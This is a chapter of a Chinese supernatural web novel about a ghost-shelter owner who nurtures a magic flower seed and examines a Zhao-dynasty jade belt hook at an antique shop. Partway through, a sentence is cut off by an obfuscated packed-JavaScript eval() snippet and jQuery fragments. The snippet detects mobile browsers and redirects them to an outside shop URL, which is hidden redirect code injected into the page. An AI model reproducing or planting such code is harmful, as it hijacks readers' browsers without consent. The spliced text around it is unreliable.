40. 孤雁(一)

作品:《我给管家修房子

    花种种在哪里是个问题,收容所中虽然地方多,但大部分都是青砖,顾时柳还不想将它种在外面,先不说能不能种出来,万一真的成功了,这也算是公司的产业,不能大剌剌地放在外面。


    想来想去,还是阿骨朵给了她灵感,凤宣殿所在的院落中虽也有汉白玉,但大部分地方还是可以种东西的,想必之前也是一个春和景明的地方。


    她当日按照风来所说上前去取花种,没做什么特殊的事情,不过轻轻一碰,那朵花就化为了种子飞到她手上。可取来易,让它长大却难。


    摩诃曼珠沙华,可以追溯到佛祖座前,之所以种在黄泉与忘川边,不仅因为它可以帮助消灾解厄,也是因为它本身的生长需要吸收生死之间的极端情感。巧了不是,修复东宫所需要的念力正好与它契合。


    顾时柳还以为自己获得了一个聚宝盆,合着又是一个吞金兽。


    在它可以发芽主动吸收力量之前,都需要她浇灌念力。


    “殿……殿下……我可……以帮……忙……”阿骨朵见到她愁眉不展的样子,得知了来龙去脉后说道。


    “嗯?怎么说?”难道她也有陪葬品?不对啊,她都没被下葬。


    “我可以……抓……厉鬼。”厉鬼可以形成的重要条件之一就是生前需要强烈的情感或执念,阿骨朵的意思是她可以出去狩猎。


    “啊这……会不会不太好?”顾时柳有点心动,毕竟那些厉鬼与她往日无怨近日无仇,就这么让人家成了彼岸花的粮食会不会有点过分?


    “阴阳缝隙中有很多罪孽深重的厉鬼,阴间的人也是怕他们通过缝隙来到人间作恶才会让我们来此镇压,她去抓一些过来倒是恰好合了特情局和阴间的意。”风来不以为然地说。


    顾时柳狐疑地看了看风来,“真的吗?”他不会是想在阿骨朵深入缝隙的时候做些什么吧?


    风来似笑非笑地看着她,“这么向着她?”本来他不想做什么的,现在看来,还是让她死在缝隙里好了。


    “阿骨朵一直在帮我们打扫凤宣殿呢!”顾时柳试图为阿骨朵争取生机。


    【阿骨朵很勤劳的,一直在帮嬷嬷的忙】


    风来瞥了眼沉默的阿骨朵,“愣在这做什么,老板为你说话了,还不去干活?”


    顾时柳瞧着阿骨朵如释重负的表情紧了紧鼻子,她这么怕风来?想到她最近怎么都不愿意和她多说大昭的事情,想必风来在她不知道的时候和阿骨朵说了什么。


    正在沉思之时,突然听到外面闹哄哄的,顾时柳趴在凤宣殿的大门上探头看去,李静言竟然带着好……些小鬼来。


    “怎么回事?”她招了招手,李静言喜笑颜开地飘了过来,“老板,咱们之前的宣传起作用了,有很多听说咱们收容所的妖魔都来这里落脚了。”


    顾时柳有些疑惑,“怎么突然这么多?”她还以为风来的鱼饵都落空了呢。


    “估计是老李在阴间说了什么,再加上之前的消息,两相印证下,这些原本在观望的小鬼都过来了。”


    “老李?”顾时柳有些意外,“他不是应该去投胎吗?”


    风来好笑地看着她,“哪有那么容易,他从鬼差手里逃走,还是要受些苦头的。”


    “对呀,而且现在阴间人满为患,就算是畜生道都不是那么好抽到号的,如果想要尽快投胎,就只能多积攒些功德。”


    “人都死了,还怎么积攒阴德?”顾时柳不解地看着李静言。


    “给地府打白工,或者……”他顶着一张儒雅的脸露出猥琐的表情,两根手指搓了搓,“俗话说……有钱能使鬼推磨嘛!”


    “啧,万恶的有钱人。”顾时柳鼓了鼓腮帮子,“走开,我也要去挣钱了!”


    她瞪了眼李静言和风来这两个要不有陪葬品要不有宫殿的鬼,气势汹汹地去了孙家园。


    很遗憾,念力不好找,今天也是空手而归的一天呢。


    “小柳!丫头!”正准备往回溜达的时候,突然听到不远处有人叫她,顾时柳疑惑地回头,原来是钱文海。


    “钱伯,我刚看你摊位那没人,才来吗?”顾时柳惊喜地笑道。


    “不是,我今天没想来的,这不正好有人找我看宝贝。”钱文海笑眯眯地看着她,“怎么,丫头,今天手里有好宝贝吗?”


    顾时柳笑着摇头,“我哪有您那本事啊!”她倒是有,那也不能老拿给他啊,不明摆着说自己有问题吗?


    钱文海神秘地看了眼周围,压低了声音,“听说最近收了个琉璃盏?哪天拿过来给老头儿看看。”


    “您怎么知道的?”顾时柳惊讶,随即反应过来,“是澜哥和您说的?”


    “那小子快把你给吹上天了。”钱文海上下扫着她,“你说我怎么就没看出来小丫头还有这本事!听说那琉璃盏凶得很,那你都压得住,是这个!”他竖起了一根大拇指。


    顾时柳尴尬地笑着,万清澜和特情局签了保密协议,应该不会多说什么,但看来钱文海还是知道了一些。


    “行了,不用瞒着了,老头儿我还能不懂事吗?”钱文海白了她一眼,“不过……以后有事儿说不得还要麻烦丫头了。”


    顾时柳稍稍放心,“钱伯,我的本事有限,只能……消灭。”她斟酌着想了这么个词,可不嘛,收容所里的几个员工,走得是杀鬼的路子,万一让她做个法事什么的她可不行。


    “嗬!”钱文海睁大了眼睛,“口气真不小!”


    顾时柳有心解释,又不知从何说起,只能由着他脑补。


    “钱伯,您来这是想看什么宝贝?”顾时柳突然想起他的目的急忙问道。


    “呀!差点给忘了!”他拍了下脑门,“这么着吧,你也和我一起去溜达溜达。”


    钱文海带她来到一家孙家园中的店铺,铺子里装修典雅,只有寥寥两三人在低声讨论什么。


    “哟,老钱来了?”有人看到他进来急忙笑着迎上前,“快坐。这位是……”


    “我是伯伯的侄女,今天来跟着见世面的。”见主人望来,顾时柳笑着说道。


    “对,是,我侄女。”钱文海笑呵呵地看了他一眼,见她朝自己挤了挤眼睛,不禁无奈。


    钱文海也不着急往店里其他人那凑,等着他们来和他打过招呼,又寒暄了一圈儿后才问道:“怎么着,今天这是有了什么宝贝了?”


    “是这个。”有人拿过来一个小盒子,并不是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152448|192189||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他们刚才围在一起讨论的东西。


    打开之后吸引了顾时柳的目光,无他,上面有念力。


    而惊讶过后,聚焦于物品本身,这也是件颇为精巧的古董。


    “诶?有意思?”钱文海的眼睛也亮了。


    盒中的宝贝造型精巧、线条流畅,看着其貌不扬,但上面的雕刻细看下来却极为精细。


    “这是……一枚衣带钩?”顾时柳好奇地问。


    “钱小姐说得对,这就是衣带钩。”店主笑着回答。


    钱文海瞥了她一眼,“钱小姐看看吗?”


    顾时柳知道他在调侃自己,也不尴尬,大大方方地接了过来,刚看到上面的刻字便愣了一下,“这是……昭朝的宝贝?”


    “哟,钱小姐眼力可真好!”店主继续吹捧,“老钱,这是你带出来的接班人啊?”


    钱文海笑着摆了摆手,“丫头,怎么看出来的?”


    顾时柳指着玉石上面的刻字,“这是大昭的文体,而且……这上面的云纹有点像我看过的昭朝古董上的。”


    风来衣摆中的暗纹与这上面的纹样如出一辙,他平时身上也有这样的带钩,只不过不是完全一样。


    “不错,这的确是一枚昭朝的玉带钩。”店主点了点头,“老钱对于昭朝的东西比较熟悉,所以我们才请他来。”


    “你是想说这上面的大雁?”钱文海指着玉带钩上刻着的一只雁。


    “没错,我觉得这可能代表这枚衣带钩有特殊的意义。”


    钱文海思索了片刻,“不好说,昭朝民风开放,花纹雕刻大胆绚丽,这或许是一个特例。”他看了眼店主,“老冯,你是怎么想得?是想留下研究,还是……”


    店主笑了笑,“我倒是想留下,但这东西不是我的,是一个客人送来让我帮着找人看看的。”


    “他想卖?”钱文海看了眼故作不在意的顾时柳问道。


    “他也是偶然之间得到的,可能是想估估价吧,我已经给他打电话了,一会儿就到。”


    顾时柳端起白茶轻抿,琢磨着自己账户里的钱还够不够。昭朝的宝贝向来受欢迎,这枚衣带钩又有独特的雕刻,或许并不便宜。


    衣带钩的主人很快就到了,是一个儒雅俊秀的中年男人,即使年龄偏大,风姿却仍然不减。


    店主将他和顾时柳两人请到楼上,互相介绍后把空间留给了他们。


    “其实我并不想卖这枚衣带钩。”名叫楚朝山的男人沉吟了一会儿突然说道。


    钱文海愣了一下,“老冯说你是想找人看看的,难道不是估价的意思吗?”


    他摇了摇头,“我是想知道会不会有人从这上面看出什么特别的地方。”


    “您是说大雁吗?”钱文海不太懂这人究竟想干什么了。


    他继续摇头,“您对昭朝古董的研究确实深厚,但很遗憾,您不是我想找的人。”


    钱文海突然想到了什么,看了眼一直沉默地顾时柳,“您是说……”


    楚朝山却不再言语,“抱歉,我还有事。”他拿回衣带钩便要起身,却在听到那个小姑娘的话后猛地顿住了身形。


    “楚先生,冒昧问一句,您是否……丧偶?”